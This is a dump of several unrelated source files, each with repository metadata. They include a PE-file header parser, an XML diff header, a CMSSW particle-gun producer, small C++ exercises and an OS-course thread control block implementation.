Woodykaixa/RubbishDebugger
4d80163ef7a3350a0f57b026608365d0c9dc0218
[ "MIT" ]
null
null
null
RubbishDebugger/PortableExecutable.cpp
Woodykaixa/RubbishDebugger
4d80163ef7a3350a0f57b026608365d0c9dc0218
[ "MIT" ]
null
null
null
RubbishDebugger/PortableExecutable.cpp
Woodykaixa/RubbishDebugger
4d80163ef7a3350a0f57b026608365d0c9dc0218
[ "MIT" ]
null
null
null
#include "PortableExecutable.h" #include <exception> #include "Misc.h" PortableExecutable::PortableExecutable(const char* filename) { _file = nullptr; fopen_s(&_file, filename, "rb"); if (_file == nullptr) { throw std::exception("Cannot open pe file"); } fread(&DosHeader, sizeof IMAGE_DOS_HEADER, 1, _file); if...
30.315152
96
0.717113
Woodykaixa
2db2027e3d3f27d88fec76a46c7ef607419f97c4
1,548
cpp
C++
src/Problem_32.cpp
BenjaminHb/WHU_CS_WebLearn
2920621268bd3af7b9f8940d539144ae1f9afd4a
[ "MIT" ]
null
null
null
src/Problem_32.cpp
BenjaminHb/WHU_CS_WebLearn
2920621268bd3af7b9f8940d539144ae1f9afd4a
[ "MIT" ]
null
null
null
src/Problem_32.cpp
BenjaminHb/WHU_CS_WebLearn
2920621268bd3af7b9f8940d539144ae1f9afd4a
[ "MIT" ]
null
null
null
/** * File Name: Problem_32.cpp * Project Name: WHU_CS_WebLearn * Author: Benjamin Zhang * Created Time: 01/13/2019 19:04 * Version: 0.0.1.20190113 * * Copyright (c) Benjamin Zhang 2019 * All rights reserved. **/ #include <iostream> #include <cstdio> #include <cstring> #includ...
26.689655
78
0.392119
BenjaminHb
2db357f1593dc280bba6ccf272fecc87b0231caa
1,509
hh
C++
diffmark/lib/diff.hh
LaudateCorpus1/pecl-xml-xmldiff
da62bde42a19bd3ce56f7c071837188ad0e7e355
[ "BSD-2-Clause" ]
5
2021-04-06T13:12:22.000Z
2021-08-08T13:48:14.000Z
diffmark/lib/diff.hh
php/pecl-xml-xmldiff
da62bde42a19bd3ce56f7c071837188ad0e7e355
[ "BSD-2-Clause" ]
1
2021-08-29T06:53:58.000Z
2021-08-29T06:53:58.000Z
diffmark/lib/diff.hh
LaudateCorpus1/pecl-xml-xmldiff
da62bde42a19bd3ce56f7c071837188ad0e7e355
[ "BSD-2-Clause" ]
2
2021-06-04T10:04:16.000Z
2021-08-29T06:53:43.000Z
#ifndef diff_hh #define diff_hh #include <string> #include <libxml/tree.h> #include "compare.hh" #include "lcs.hh" #include "target.hh" #include "xdoc.hh" namespace std { template<> struct less<xmlNodePtr> { bool operator()(xmlNodePtr m, xmlNodePtr n) const { return compare(m, n, true) < 0; } }; templa...
20.12
70
0.695825
LaudateCorpus1
2db3f41fce5e19cc7c5cb5aebf841fb9eef54cbf
4,093
cc
C++
IOMC/ParticleGuns/src/RandomXiThetaGunProducer.cc
bisnupriyasahu/cmssw
6cf37ca459246525be0e8a6f5172c6123637d259
[ "Apache-2.0" ]
3
2018-08-24T19:10:26.000Z
2019-02-19T11:45:32.000Z
IOMC/ParticleGuns/src/RandomXiThetaGunProducer.cc
bisnupriyasahu/cmssw
6cf37ca459246525be0e8a6f5172c6123637d259
[ "Apache-2.0" ]
3
2018-08-23T13:40:24.000Z
2019-12-05T21:16:03.000Z
IOMC/ParticleGuns/src/RandomXiThetaGunProducer.cc
bisnupriyasahu/cmssw
6cf37ca459246525be0e8a6f5172c6123637d259
[ "Apache-2.0" ]
5
2018-08-21T16:37:52.000Z
2020-01-09T13:33:17.000Z
/**************************************************************************** * Authors: * Jan Kašpar ****************************************************************************/ #include "IOMC/ParticleGuns/interface/RandomXiThetaGunProducer.h" #include "FWCore/Framework/interface/Event.h" #include "FWCore/Para...
38.252336
102
0.63743
bisnupriyasahu
2db877bf5367306565fb975d03af246aa902f9f3
47
hpp
C++
src/boost_math_distributions_normal.hpp
miathedev/BoostForArduino
919621dcd0c157094bed4df752b583ba6ea6409e
[ "BSL-1.0" ]
10
2018-03-17T00:58:42.000Z
2021-07-06T02:48:49.000Z
src/boost_math_distributions_normal.hpp
miathedev/BoostForArduino
919621dcd0c157094bed4df752b583ba6ea6409e
[ "BSL-1.0" ]
2
2021-03-26T15:17:35.000Z
2021-05-20T23:55:08.000Z
src/boost_math_distributions_normal.hpp
miathedev/BoostForArduino
919621dcd0c157094bed4df752b583ba6ea6409e
[ "BSL-1.0" ]
4
2019-05-28T21:06:37.000Z
2021-07-06T03:06:52.000Z
#include <boost/math/distributions/normal.hpp>
23.5
46
0.808511
miathedev
2dba55ec969bfc9c4b7bc88eac51dfc8b75bb172
617
cpp
C++
TrocaVariavelCHAR/main.cpp
VitorVeector/Projetos-Estacio
e54f6f765e8c552cba27819a2f6fae3d819fb0e8
[ "MIT" ]
null
null
null
TrocaVariavelCHAR/main.cpp
VitorVeector/Projetos-Estacio
e54f6f765e8c552cba27819a2f6fae3d819fb0e8
[ "MIT" ]
null
null
null
TrocaVariavelCHAR/main.cpp
VitorVeector/Projetos-Estacio
e54f6f765e8c552cba27819a2f6fae3d819fb0e8
[ "MIT" ]
null
null
null
#include <iostream> #include <cstring> using namespace std; int main() { char sexo[2], aux; cout << "Digite a inicial do sexo da primeira pessoa: " << endl; cin >> sexo[0]; cout << "Digite a inicial do sexo da segunda pessoa: " << endl; cin >> sexo[1]; cout << "Antes da troca de sexo: " << end...
22.851852
68
0.504052
VitorVeector
2dbbccb663a67cf900c03b4b967c99c56f6576ee
646
hh
C++
tests/operators/operators.hh
LLNL/bindee
3df620803ef5b198a32732341e52971342493863
[ "MIT" ]
5
2020-02-19T08:10:46.000Z
2021-02-03T01:28:34.000Z
tests/operators/operators.hh
LLNL/bindee
3df620803ef5b198a32732341e52971342493863
[ "MIT" ]
null
null
null
tests/operators/operators.hh
LLNL/bindee
3df620803ef5b198a32732341e52971342493863
[ "MIT" ]
null
null
null
// -i operators.in operators.hh -- class Op { public: Op operator+() const; Op operator-() const; Op& operator*(); Op operator+(const Op &o) const; Op operator-(const Op &o) const; Op operator*(double d) const; Op operator/(const Op &o) const; Op& operator +=(const Op &o); Op& oper...
23.925926
46
0.592879
LLNL
2dc0b30bcbb15347171d431fec1ecf366aba3ccd
8,638
cpp
C++
pcb.cpp
Edvvin/OperatingSystemSchoolProject
ea955796a04f5c3ee964592bce2903723d514e6c
[ "MIT" ]
null
null
null
pcb.cpp
Edvvin/OperatingSystemSchoolProject
ea955796a04f5c3ee964592bce2903723d514e6c
[ "MIT" ]
null
null
null
pcb.cpp
Edvvin/OperatingSystemSchoolProject
ea955796a04f5c3ee964592bce2903723d514e6c
[ "MIT" ]
null
null
null
#include "pcb.h" #include <dos.h> #include <stdlib.h> #include "SCHEDULE.h" #include "slpqueue.h" #include "ksem.h" #include "sighandl.h" #include "signalq.h" #include "lock.h" #include "ksemlist.h" #include "pcblst.h" #include <iostream.h> extern void tick(); ID PCB::PID = 0; PCB* volatile PCB::running = NULL; Thr...
21.649123
95
0.596319
Edvvin